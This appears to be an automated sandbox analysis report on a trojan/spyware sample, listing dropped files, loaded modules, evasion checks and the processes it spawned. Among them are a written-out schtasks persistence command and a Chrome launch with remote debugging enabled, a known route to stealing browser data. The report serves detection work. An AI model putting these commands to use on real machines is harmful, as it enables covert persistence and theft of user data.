Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822793390.00004E8400890000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825528926.00004E8400E54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1823238963.00004E8400980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.1826113027.00004E8400ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000003.00000002.1814096992.00004E8400514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824235655.00004E8400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1815249629.00004E84005E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.1823683731.00004E8400A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000002.1810702140.00004E840001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1815249629.00004E84005E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000002.1821389497.00004E8400644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000003.1798646774.00004E8400F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1793994167.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1826252760.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825413246.00004E8400E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000003.1793994167.00004E8400F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaN
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824397363.00004E8400C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825488625.00004E8400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C7B9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,

9_2_6C7B9C22

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		9_2_6C7B9C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		9_2_6C7B9D11

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C7B9E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_6C7B9E27

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

File dump: service123.exe.0.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: NVkyG9HAeY.exe	Static PE information: section name:
Source: NVkyG9HAeY.exe	Static PE information: section name: .idata
Source: NVkyG9HAeY.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_009551B0	9_2_009551B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00953E20	9_2_00953E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E2CCE	9_2_6C7E2CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7ACD00	9_2_6C7ACD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7AEE50	9_2_6C7AEE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B0FC0	9_2_6C7B0FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F0AC0	9_2_6C7F0AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B44F0	9_2_6C7B44F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E46E0	9_2_6C7E46E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E07D0	9_2_6C7E07D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7D87C0	9_2_6C7D87C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F0060	9_2_6C7F0060
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E2090	9_2_6C7E2090
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7D2360	9_2_6C7D2360
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7FDC70	9_2_6C7FDC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7D98F0	9_2_6C7D98F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B5880	9_2_6C7B5880
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E7A20	9_2_6C7E7A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EDBEE	9_2_6C7EDBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E140E	9_2_6C7E140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F1510	9_2_6C7F1510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EF610	9_2_6C7EF610
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7CF760	9_2_6C7CF760
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8650D0	9_2_6C8650D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7A3000	9_2_6C7A3000
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B70C0	9_2_6C7B70C0

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C873B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C873560 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C875980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C875A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C873820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C8736E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C86ADB0 appears 49 times

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 1148

Source: NVkyG9HAeY.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: NVkyG9HAeY.exe

Static PE information: Section: liphicak ZLIB complexity 0.9941784741023083

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/7@17/5

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

File created: C:\Users\user\AppData\Local\zBgetxaCVe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Mutant created: \Sessions\1\BaseNamedObjects\uwwcACVDotPKkwKQKpzK
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5096:120:WilError_03
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5900

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: chrome.exe, 00000003.00000002.1821985705.00004E840077C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));

Source: NVkyG9HAeY.exe	Virustotal: Detection: 76%
Source: NVkyG9HAeY.exe	ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Users\user\Desktop\NVkyG9HAeY.exe "C:\Users\user\Desktop\NVkyG9HAeY.exe"
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2256,i,14432430803274896286,16622150028371568839,262144 /prefetch:8
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 1148
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2256,i,14432430803274896286,16622150028371568839,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior

Source: NVkyG9HAeY.exe

Static file information: File size 4449792 > 1048576

Source: NVkyG9HAeY.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x283e00
Source: NVkyG9HAeY.exe	Static PE information: Raw size of liphicak is bigger than: 0x100000 < 0x1b6a00

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_00958230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

9_2_00958230

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: NVkyG9HAeY.exe

Static PE information: real checksum: 0x4444dd should be: 0x441324

Source: NVkyG9HAeY.exe	Static PE information: section name:
Source: NVkyG9HAeY.exe	Static PE information: section name: .idata
Source: NVkyG9HAeY.exe	Static PE information: section name:
Source: NVkyG9HAeY.exe	Static PE information: section name: liphicak
Source: NVkyG9HAeY.exe	Static PE information: section name: gjmnxrkj
Source: NVkyG9HAeY.exe	Static PE information: section name: .taggant
Source: service123.exe.0.dr	Static PE information: section name: .eh_fram
Source: ehoYPkfWhVokJMBQaExv.dll.0.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_0095A499 push es; iretd	9_2_0095A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C850C30 push eax; mov dword ptr [esp], edi	9_2_6C850DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C81ED10 push eax; mov dword ptr [esp], ebx	9_2_6C81EE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E8E7A push edx; mov dword ptr [esp], ebx	9_2_6C7E8E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F4E31 push eax; mov dword ptr [esp], ebx	9_2_6C7F4E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EA947 push eax; mov dword ptr [esp], ebx	9_2_6C7EA95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C808AA0 push eax; mov dword ptr [esp], ebx	9_2_6C80909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C81EAB0 push eax; mov dword ptr [esp], ebx	9_2_6C81EBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F2AAC push edx; mov dword ptr [esp], ebx	9_2_6C7F2AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F0AA2 push eax; mov dword ptr [esp], ebx	9_2_6C7F0AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C822BF0 push eax; mov dword ptr [esp], ebx	9_2_6C822F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C822BF0 push edx; mov dword ptr [esp], ebx	9_2_6C822F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E8435 push edx; mov dword ptr [esp], ebx	9_2_6C7E8449
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E04E0 push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C808460 push eax; mov dword ptr [esp], ebx	9_2_6C808A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E048B push eax; mov dword ptr [esp], ebx	9_2_6C7E04A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EA5A7 push eax; mov dword ptr [esp], ebx	9_2_6C7EA5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7C1CFA push eax; mov dword ptr [esp], ebx	9_2_6C876622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7C1CFA push eax; mov dword ptr [esp], ebx	9_2_6C876622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8306B0 push eax; mov dword ptr [esp], ebx	9_2_6C830A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E06FD push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E66F3 push edx; mov dword ptr [esp], ebx	9_2_6C7E6707
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C822620 push eax; mov dword ptr [esp], ebx	9_2_6C822954
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C822620 push edx; mov dword ptr [esp], ebx	9_2_6C822973
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E06A6 push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E06A2 push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F86A1 push 890005EAh; ret	9_2_6C7F86A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EA777 push eax; mov dword ptr [esp], ebx	9_2_6C7EA78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E070E push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F0042 push eax; mov dword ptr [esp], ebx	9_2_6C7F0056
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7BE0D0 push eax; mov dword ptr [esp], ebx	9_2_6C876AF6

Source: NVkyG9HAeY.exe

Static PE information: section name: liphicak entropy: 7.954577723872195

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File created: C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll			Jump to dropped file
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

